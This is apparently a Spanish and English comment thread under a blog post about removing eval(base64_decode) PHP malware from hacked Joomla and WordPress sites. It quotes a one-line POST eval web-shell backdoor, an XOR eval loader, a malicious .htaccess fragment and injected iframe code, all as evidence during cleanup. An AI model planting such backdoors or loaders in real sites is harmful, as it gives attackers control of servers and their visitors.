    Bueno como me recomendaste cree el post pidiendo una ayudita en Stack Overflow (http://stackoverflow.com/questions/13113670/iframe-injection-attack-javascript-mass) y me ayudaron solo tuve que agregar un \ antes de los ' internos para que funcione, ambas expresiones regulares funcionan si se les agrega lo que comente.

    Claro esta que en mi caso tenia que buscar también en los js así que en la linea 37
    $a_ext=array('php','html','htm');

    agregue al js como parámetro: $a_ext=array('php','html','htm','js');

    Saludos a todos y espero les sirva.

    ReplyDelete
    Replies
    1. Aquí pueden ver el código de la expresión regular: http://regexr.com/?32kag

      Muchas gracias nuevamente, tu script me ha sido de mucha ayuda, me ha quita muchos días de trabajo o meses de haber tenido que hacerlo manualmente.

      Saludos desde Perú.

      Delete
    2. Al contrario Javier! gracias a ti por insistir y felicidades por haber encontrado la solución. Ahora mismo ando sin tiempo apenas, pero a ver si un día de estos le doy un retoque al script y lo cuelgo con tu aporte y lo comento en el artículo como nueva edición ;)

      Por de pronto, tu comentario y los enlaces que has compartido aquí quedan para el siguiente que llegue, jejeje...

      Un saludo!
      SERGI

      Delete
    3. JAVIER 3vs, te contacto para ver si me podés ayudar
      Tengo el mismo problema, pero no me doy maña para crear la ExpReg, ya que el dominio muta de msn.com, google.com, donatingtapestor.ru/, download-apple.us/, pageloadlifestyle.ru/, slackers2.ru/flattenedbevocal.cgi?8

      Espero puedas ayudarme. Saludos!

      Delete
  140. Hola a todos uno de mis sitios web fue infectado con esta mierda he estado varios dias para solucionarlo, la verdad es que ahun no se si lo tengo erradicado o no pero voy a resumir lo que he encontrado po si a alguien mas les sirve.
    punto 1. Me hackean 3 webs que tengo, de diferentes maneras cada una una de ellas con eval 64 con muy poco espacio de tiempo unas 3 semanas por eso recomiendo a todo el mundo que escanee el pc en busca de virus troyanos etc o como yo formatear (puede y solo es una suposicion que nos pillen las credenciales de cuentas de programas como filezilla).
    paso 2.Si tienes copia de la web restaura una copia no hackeada y revisa tu CMS (joomla drupal ...) actualiza des instala módulos etc.. Sino tienes mas cajones limpia el sitio con las superutiles herramientas que no da este fantástico post.
    paso 3. encontrar la semilla.
    Este es el paso mas chungo revisa tu log del servidor yo encontre esto:
    194.44.45.67 - - [01/Nov/2012:15:34:39 +0100] "POST /images/post.php HTTP/1.1" 200 46498 hipicaomega.com "-" "-" "-"
    194.44.45.67 - - [01/Nov/2012:15:34:49 +0100] "POST /images/post.php HTTP/1.1" 200 14 hipicaomega.com "-" "-" "-"
    194.44.45.67 - - [01/Nov/2012:15:34:50 +0100] "POST /images/post.php HTTP/1.1" 200 7 hipicaomega.com "-" "-" "-"
    No entiendo mucho pero me pareció raro ese post.php lo descargo lo abro y me encuentro:
    if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;} ("lo que hubiera dado por que alguien colgara esto en el post")
    Tampoco entiendo mucho pero seguramente lo usaron para enviar información via POST y re infectar la web.

    Comento que llevo mas de un mes con re-infecciones y hasta ahora no me di cuenta del maldito post.php

    Paso final: passwords y usuarios permisos de carpetas y ficheros y no esta de mas algún modulo complemento plugin de seguridad.

    Comento que he reportado la ip del atacante en http://www.abuseipdb.com/
    alguien sabe si sirve de nada?

    Me despido dando las gracias a todos los que en su momento comentaron y creador del blog.

    ReplyDelete
  141. Buenas tardes.

    Me encuentro en el mismo caso que ustedes, pero en este caso la versión del limpiador no ha tenido exito en una web con joomla.

    En mi caso el problema es que crea y reescribe los .htaccess de todos los directorios por debajo del raiz , dentro del htaccess se encuentra una codigo como este ( No lo pongo entero para no crear problemas)

    "
    RewriteEngine on
    RewriteCond %{HTTP_REFERER} ^.*(duckduc"


    Se puede hacer algo más ??

    ReplyDelete
    Replies
    1. @Anonymous, si quieres que te podamos ayudar debes compartir el código inyectado al completo... ¿sino como? ;)

      Si no mencionas el dominio al que pertenece no tendrás ningún problema de seguridad, tranquilo. Y tampoco hace falta el código completo del .htaccess

      Eso sí, ayudaría saber el CMS al que pertenece, si es que es alguno conocido.

      Por cierto, ¿cómo descubriste estas inyecciones?

      Delete
  142. This comment has been removed by the author.

    ReplyDelete
  143. I'm portuguese, but my english is a bit better than my spanish, so here it goes.
    First of all, THANK YOU VERY MUCH for this script!! I've had my websites attacked with rr.nu malware and this helped me get them clean.
    I also used SSH (http://devilsworkshop.org/tutorial/remove-evalbase64decode-malicious-code-grep-sed-commands-files-linux-server/55587/) whisch was extremely useful.
    I was thinking if there is a way to get your script runing as a cron job. I tried to do this but got a 500 Error. Do you have any idea how to execute your script as a cron job?

    ReplyDelete
  144. Hi Ruben, i'me happy to be useful. So thanks for your comment.

    About your question (how to run the script using server cron job) i usually use a command like this:

    wget -q -O /dev/null http://www.mydomain.com/path_to_file/cronjob.php

    so, is like an "external" call to the php script, and then has the advantatge that works more similar to when it is called from browser, but has the disadvantage of be limited in time for its execution!!

    If you prefer call the script "internally" then use something like this:

    php /file_system_path/cronjob.php


    In any case, can you explain us why you find of interest to run my "cleaning" script periodically from cron jobs? i would execute perhaps an script to check if there are changes in the file system (PHP files only) and to send an email in such a case. And in any case i would execute ever manually the cleaning script...

    ...or perhaps not. Please explain to us your reasons ;)
    Cheers,
    SERGI

    ReplyDelete
  145. Hola que tal, ahorita yo tengo un problema muy similar en joomla el script encontró el php infectado y ya todo está en orden, en mi caso hubo otros scripts y solo remplace el string y al hacer un análisis a detalle no se encontró ningún problema, de verdad agradezco el tiempo que te das para contestar y ayudar a la comunidad, muy loable de tu parte y mi agradecimiento va implícito en este comentario.

    ReplyDelete
  146. Gracias Erik por tu comentario. Tengo que decirte que a pesar de todo lo que pueda hacer yo para ayudar/colaborar con otros, NUNCA podré devolver todo lo que la comunidad me ha dado!!!

    Me considero de los auto-didactas, libre pensadores, que aprende a solucionar los problemas a medida que se los encuentra buscando aquí y allá, y en este sentido el mérito es de tantos otros miles (millones?) de personas que participan a diario desde hace años en lo qe tú bien has llamado "comunidad", compartiendo aquí y allá sus logros y su conocimiento.

    Creo que el sistema llamado "comunidad" es el que tiene el mérito. Espero tan solo que poco a poco más gente se sume a este crecimiento colectivo ;)

    Un saludo!
    SERGI

    ReplyDelete
  147. Hello Usher Web!

    I've tried with the internal path and got a 500 error. So, I'll give it a try with wget -q -O /dev/null.
    My idea would be to run your script every 2 hours, to search and clean files that may become infected again.
    Right now, I changed my FTP password, removed some "world write" permissions from folders and I'm runing Cloudflare, CrawlTrack, CrawlProtect, StopTheHacker and Website Defender. But, even so, I'm afraid to get infected again and get blacklisted. So if I run your script every couple of hours, I'll have an extra layer of protection... What do you think about this?

    ReplyDelete
  148. Ruben, i sincerely said that perhaps the best idea is to try to find the hole of security in your CMS and try to remove it. And i don't see how accomplish this with your strategy.

    Due to this, i proposed to you in my last comment to create some kind of "monitoring" script for check changes in your PHP files, executing this script once or twice per hour. This sholud help you to understand who and when and how is accesing to your filesystem.

    Really i don't have now time for investigate this question, and fortunately (for me) i don't have this urgent problem in my server, as you. But if you ask to me, i would do this.

    Please, if you try some useful tool for help to solve your problem, add here a brief comment referring the link ;)

    Good luck!
    SERGI

    ReplyDelete
    Replies
    1. Sorry, Ruben, really i didn't answer to your question directly :S

      I think that you did fine, and according to the stantard action to take for increase security: change passwords and install protection software.

      Also i think that execute each 2 hours my script for cleaning posible new infections can avoid some infections. But... but, i think that you cannot trust to be safe with only this. As you know, "they" will try to entry at your server with different injections probably several months away, but it's sure that they will do.

      So, the most safe "solution" is to find holes of security and close them! For this reason i suggested to you to take "active actions" as monitor your filesystem actively for detect intrusions, and then close these opened doors to your filesystem. Do you understand me?

      I'm sorry, my english sometimes is not very accurate. I hope that you capt my main idea ;)

      Delete
  149. Hola Usher!, yo tengo le mismo problema que "Javier 3VS", pero con la salvedad que el dominio cambia (msn.com, google.com, donatingtapestor.ru/outsiderpricelinecom.cgi?8), mi pregunta es: como debería escribir la linea 96 del archivo "search_and_replace" ? yo probé con esto $needle = 'document\.write\(\'<-i-f-r-a-m-e src="http:\/\/msn\.com" scrolling="auto" frameborder="no" align="center" height="7" width="7"><\/iframe>\'\); pero no me funciona. Desde ya agradezco tu aporte

    ReplyDelete
    Replies
    1. Hola Mariano, tal como dije anteriormente a otro comentarista, mi punto fuerte no es precisamente la construcción de expresiones regulares, más al contrario me cuesta bastante lograr lo que necesito habitualmente de ellas.

      Te recomiendo que esta duda concreta que tengas le expreses en otros foros más técnicos. Particularmente te recomiendo éste:

      http://stackoverflow.com/

      el 90% de las veces que tengo dudas de este tipo y busco en google acabo visitando alguna página de ese portal (gracias a Google) y acabo resolviendo bastante rápido mi necesidad concreta. Nunca he llegado a necesitar formular una pregunta en el site... SIEMPRE hay alguien que ya preguntó lo que yo necesito ;)

      Un saludo, y suerte!
      Si habiendo resuelto tu necesidad puedes compartir aquí tu expresión regular lo añadiré como "nota de interés" en el artículo! ;)

      Delete
  150. Hola segi,

    Utilizo este script desde hace tiempo pero últimamente me está dando un problema muy gordo. Me pregunto si a ti o a alguna otra persona te/le ha pasado lo mismo.
    Cuando ejecuto el script me borra cojonudamente los evals pero me trunca algunos de los ficheros que escanea. Desaparecen las últimas líneas de estos ficheros (el número de líneas que se carga es aleatorio: a veces unas pocas, otras veces más de mil). Además se las carga tanto en el fichero reparado como en el hackedcopy.
    He probado ejecutando el script en el server de 1&1 y también en mi servidor local y en ambos casos pasa lo mismo.

    Alguna idea?

    ReplyDelete
  151. Hola Adrián, pues eres el primero que comenta algo parecido. Por suerte yo no he tenido problemas de este tipo de ataques desde hace ya más de un año probablemente.

    Sin embargo, me he mirado de nuevo el código del archivo search_and_replace.php y no veo posible que lo que te sucede sea culpa del script. Es decir:

    1- ese script NO ALTERA EL CONTENIDO DE LOS ARCHIVOS ORIGINALES cuando genera las copias con extensión "_hackedcopy", SIMPLEMENTE HACE UN "COPY" del archivo infectado!!

    2- el script solo trabaja sobre una lista cerrada de extensiones de archivo (línea #37) que son por defecto PHP, HTML, HTM, así que no accede nunca a los archivos del tipo "archivo.php_hackedcopy" !!

    Dicho esto, intuyo que debes tener otro problema en tu servidor. ¿Quieres decir que tú no tendrás otro tipo de infección? No quiero alarmarte, pero a veces tendemos a asociar dos problemas parecidos cuando suceden demasiado cercanamente, aunque puede ser que no tengan nada que ver! te lo dice uno al que ya le ha pasado varias veces ;)

    Una duda que tengo, ¿estás seguro de que alguno de tus archivos "x.php" tiene "n" líneas antes de ejecutar mi script e INMEDIATAMENTE después de ejecutar mi script ese archivo ha perdido "m" líneas?

    ReplyDelete
  152. Hola a todos:

    En primer lugar agradecer los aportes de todos, que me han salvado la vida a mi también y en especial, el trabajo de Sergi (muchiísimas gracias).

    Yo he podido limpiar mi sitio, joomla 1.5.26, y la infección estaba en la carpeta "images", en forma de dos ficheros php (feeback.php y script.php). Además he tomado algunas medidas extras que se citan en el artículo que os dejo en el link. Está en inglés, pero es muy fácil de seguir:

    http://www.siteground.com/tutorials/joomla15/joomla_security.htm

    De todas maneras, resumiendo, he cambiado los prefijos de las tablas, he denegado el acceso a los ficheros php, salvo a los dos index principales de mi sitio joomla, y he protegido la carpeta "Administrator" desde mi panel de administración (en realidad es un htaccess).

    Saludos a todos y muchas gracias por los aportes.

    ReplyDelete
  153. Por cierto, en mi caso, lo que hacía ese código es enmascarar la dirección de mi sitio y redirecciona al visitante al sitio que quería el autor del hackeo. Me explico. Cuando buscabas en Google el sitio, éste aparecía sin problema aparente; PERO, al pinchar en el enlace, lo que aparecía era una web completamente distinta y, en muchos casos, porno.

    Saludos y muchas gracias a todos.

    ReplyDelete
  154. Gracias Jose, tu aportación ha sido de las más valiosas y precisas de las que este artículo ha recibido. Como no podía ser de otra forma he añadido esa información al artículo original.

    Gracias!
    SERGI

    ReplyDelete
  155. I am rеally enjoying the theme/dеsіgn оf your blog.
    Dο you evеr гun intο any intеrnеt browsеr сompatibility issuеs?
    A small number of my blοg reaԁers haνe complained
    abοut my blog not operаtіng correсtly in
    Explorer but looκs great in Firefох.
    Do you have any іdeaѕ to helρ fix this рroblem?


    Lοok into my web blog: enhance brain
    my website: brain supplements

    ReplyDelete
  156. he seguido los pasos, el script hace su trabajo, muestra muchos ficheros en rojo, y los repara. Lo paso de nuevo y todos en verde, pero la web sigue mostrando el código. No se que hago mal.....

    ReplyDelete
  157. Hola Paduana, pues habría que investigar más, pero me huele a que entonces tienes otra "infección" diferente! Si fuera tú, yo volvería a empezar a investigar de dónde viene ese "código" que dices que se muestra ;)

    Suerte!
    SERGI

    ReplyDelete
  158. ayuuuudenme por favor :( yo tengo mi pagina en wordpress tenia ese codigo en el index.php de la raiz lo quite y se arreglo perfecto la plantilla!!! ahora bien ejecute el codigo de esta pagina y no encuetra mas!! pero cuando entro a la version mobil de mi sitio sigue con el problema!! tengo instalado el plugin mobilepress y no encuentro la solucion

    ReplyDelete
  159. Thanks just used this on our site. Any script to run to find compromised files? Seems like this code gets added via an exploited file on the server daily.

    ReplyDelete
  160. Hi Sports News, maybe this other article (of mine also) will be of help:

    http://creating-webpages.blogspot.mx/2012/04/new-php-injection-attack-and-also-html.html

    i share there more info and some downloads.

    ReplyDelete
  161. hola este scrip les ha hecho bien la limpieza? yo lo probe y no me detecta nada

    ReplyDelete
  162. Hola, he probado el script, pero no ha tirado absolutamente nada.

    ReplyDelete
  163. Sergi un gran saludo amigo te escribo porque estoy presentando este problema con una pagina de Wordpress realize los pasos descritos con todas las modificaciones al realizarlo consiguio varios archivos infectados, despues de esto abri la pagina nuevamente pero me esta dando este error require_once(ABSPATH . 'wp-settings.php');
    Fatal error: Call to undefined function wp() in /home/content/04/11903604/html/wp-blog-header.php on line 358 no entiendo muy bien que esta sucediendo por esto te escribo para que me des tu opinion, gracias y saludos

    ReplyDelete
  164. Hola Carlos, antes que nada debo recordarte que este procedimiento de limpieza es del 2010 aunque fue revisado hasta el 2013, pero hace 3 años que no se toca. Digo esto porqué no sé hasta qué punto puede ser conveniente aplicarlo a infecciones recientes. La verdad, no me ha vuelto a tocar nunca más, por suerte.

    En cuanto al error que nos compartes, decir que no soy un experto en Wordpress, pero parece ser que no se te está cargando algún archivo de PHP necesario para el sistema.

    Mi consejo es que si no entiendes mucho de PHP hagas una copia de seguridad de tus datos y reinstales un wordpress limpio de virus y códigos maliciosos.

    También puedes consultar a tu proveedor de hospedaje para saber si te pueden restaurar alguna copia de seguridad antigua que esté limpia, o extraer de ahí una copia de la base de datos. Piensa que lo que tenías infectado no era la base de datos, sino los archivos de PHP ;)

    Espero que te haya dado alguna buena idea. Saludos!

    ReplyDelete
  165. Hola a todos, por favor necesito su orientación, hace dos días al abrir una web que estoy desarrollando el antivirus symantec me reporte esto SID:28863 WEb Attack:Fake scan Webpage 30 detected e inmediatamente depues me bloquea las funcionalidades javascript y mi web queda casi inutilizable, y la consola de chrome reporta errores tipo ERROR_MYSMATCH, ERROR_CONECCTION, estoy preocupado por esto, no se si esté siendo victima de un ataque o sea por el antivirus, comento que di acceso a un bastardo Indio para que resuelva unos requerimientos y al final no hizo nada, temo que este tipo me haya dejado algo, el administrador del dominio me dice que por parte del sevidor no reporta ningua infección, estoy desesperado, agrego que en mi laptop no tengo ese problema no detecta ni me bloquea nada, solo en las pc de mi trabajo no sé si es porque hayan puesto ese dominio en lista negra o en verdad tengoo algo en mis archivos.

    ReplyDelete
  166. Hola necesito ayuda, estoy desesperado pues me inyectaron codigo a todas las cabeceras de mis archivos .php en el hosting y esta caida la pagina principal y todos los subdominios. Me parece que identifique el punto de partida desde un footer.php en un theme pero ya esta todo infectado no solo el public_html sino todo el sitio desde la raiz, agradeceria cualquier ayuda pues estoy desesperado y no se como limpiar pues son miles de archivos. gracias de antemano

    ReplyDelete
    Replies
    1. Primero, ten calma, descarga desde el administrador de archivos de tu hosting ese archivo y analizalo con algun editor de texto plano, notepad, notepad++, sublime, etc. ubica el codigo malicioso casi siempre empieza con "eval(" o similar debe contener codificacion base 64 o parecido, cuando la encuentres identifica el patron de codigo, en el caso del post es con "eval(base64_decode(" a mi mepaso con "eval(base64_decode(gzdeflate(" o algo parecido la verdad no recuerdo ya tiene años, en el archivo search_and_replace.php busca en la linea 92 la expresion regular y acomodala con forme al código que inyectaron en tus archivos, si no puedes ejecutar la pagina desde el navegador, podrías descargar lo mas importante, ejecutar localmente los archivos y pedir al hosting que regrese a una copia de seguridad estable tus archivos(tendrías que recordar cuando funcionaba sin problemas la(s) paginas)

      Delete
    2. Muchas gracias Casztlellandate por responder, ya en el hosting me hicieron dos respaldos y estaban contaminados igual, el archivo que creo es la semilla tiene en parte de su codigo lo siguiente:
      $raw = base64_decode($encoded);
      $res = '';
      for ($i = 0; $i < strlen($raw); $i++) {
      $res .= chr(ord($raw[$i]) ^ ord('x'));
      }
      eval($res)

      $encode -> es una variable que contiene la informacion codificada y despues se recorre con ese ciclo, pero antes de este codigo inyecta otro enorme que es el que esta en todos los archivos php de mi hosting no solo en la carpeta publica sino en todo el home, he intentado hacer cambios como se indica anteriormente en la expresion regular como se indica en el archivo search_and_replace.php pero sin resultado, tampoco soy ducho en expresiones regulares. Igual este archivo no me buscaria por debajo de la carpeta publica. Asi que estoy tratando de descargar todo el contenido pero son varios GB y va muy lento el proceso, para localmente realizar la busquedad y despues subir todo. No se si pueda haber otra forma porque esto me va llevar bastante tiempo. Igual muchas gracias por la respuesta

      Delete
    3. Bien, ¿Puedes mandarme por correo el código malicioso?, Caztlellandante@gmail.com así puedo ayudarte a encontrar el patrón para modificar la expresión regular, entiendo que sea tardado descargar los respaldos, lo mejor es utilizar la herramienta del post. Ademas, este tipo de inyección de código se basan en las funciones peligrosas que están activadas por defecto en el motor de php, hay manera de desactivarlas modificando el php.ini, no recuerdo bien como pero se puede hacer, si no tienes acceso al php.ini pregunta al hosting por el.
      Aquí algo de información:
      http://stackoverflow.com/questions/1865020/php-how-to-disable-dangerous-functions
      http://php.net/manual/en/ini.core.php#ini.disable-functions

      Delete
    4. Amigo le envie los archivos por correo

      Delete
    5. @Halain y @Caztlellandante, si consiguen generar esa nueva expresión regular para ese nuevo código inyectado, por favor me lo envian (sergio.cero(arr)gmail) y con gusto lo incorporo al artículo, el cuál no he actualizado desde Enero del 2013 (hace 4 años!!). Por lo que veo, el sistema de inyección sigue siendo el mismo pero "mutado" ;)

      Un saludo. Y más que nunca me alegro de gente con la actitud y generosidad de Castlellandante para echar una mano.

      PD: amante del manga? tu nick es por el Castillo Andante, me imagino...

      Delete
    6. Se me acaba de ocurrir que lo MEJOR para todos será que publique el código de este post en Github, y así lo hacemos definitivamente comunitario y software libre :)

      A ver si a lo largo del día le doy un lavado de cara y lo subo... digo, comentarios, documentación, y tal vez una interfaz más amigable.

      Una vez en Github será más fácil hacer un seguimiento de preguntas, sugerencias, cambios, etc.

      Delete
    7. Usher, Caztlellandante esta trabajando en la expresión regular pues le envie los archivos contaminados por correo. Yo estoy descargando las carpetas del Framework que tengo en la raiz para descontaminar local.

      Delete
    8. @Usher web me parece una buena idea lo del github, el ataque que menciona @Halain fue una mutación efectivamente, pero se basa en lo mismo, afectar plugin de CMS y inyectar codigo a los arhivos para secuestrar cookies y tener acceso a subir la semilla y ejecutarla, también hay que dar opción para que la ruta desde donde buscar sea diferente al del archivo search_and_replace.
      Saludos!

      P.D. Si me gusta el libro, amante del manga no tanto aunque si me gusta leerlos de vez en cuando y ver anime!

      Delete
  167. @Caztlellandante, justamente tengo en mente incluir arriba del script de PHP search_and_replace un array de configuración de estas variables "a gusto" del usuario.

    Tentado estoy de darle una interfaz HTML, como un formulario previo a la acción en donde rellenar ciertas variables (URL, expresión regular, etc...) pero creo que eso sería un agujero de seguridad dada la naturaleza de la acción de este script!! Así pues, prefiero optar por embeber esa configuración en el script de PHP que el mismo usuario sube de forma segura al servidor (se supone) y luego lo retira (se supone también!).

    ¿Estás de acuerdo? ¿Sugerencias? :)

    PD: mmm... tal vez sí le añada una página previa a la acción, con apenas unas "instrucciones de uso" y una advertencia del efecto que ese script causará..

    Upsss, no! mejor no, porqué tal como está es mejor para poder usarse desde consola. Ya sabes que si el número de archivos es grande entonces el tiempo de ejecución puede superar fácilmente al límite del servidor para llamadas externas ;)

    En fin, de nuevo, igualmente me gustaría saber qué piensas. Un saludo!

    ReplyDelete
    Replies
    1. Tal vez validado, o separarlo para que sea front, y consola; en html utilizar el formulario apuntado al motor y en motor pre-configurar los parametros por defecto a menos que se manden por html. Pero la cantidad de archivos a analizar es un problema, ¿Podría ser tal vez Ajax? aunque suena muy descabellado

      Delete
  168. Gran ayuda @Caztlellandante muchas gracias me funciona el search_and_replace a la perfeccion, no asi el de buscar la semilla, hoy ya me tengo que marchar, un saludo y gracias mil

    ReplyDelete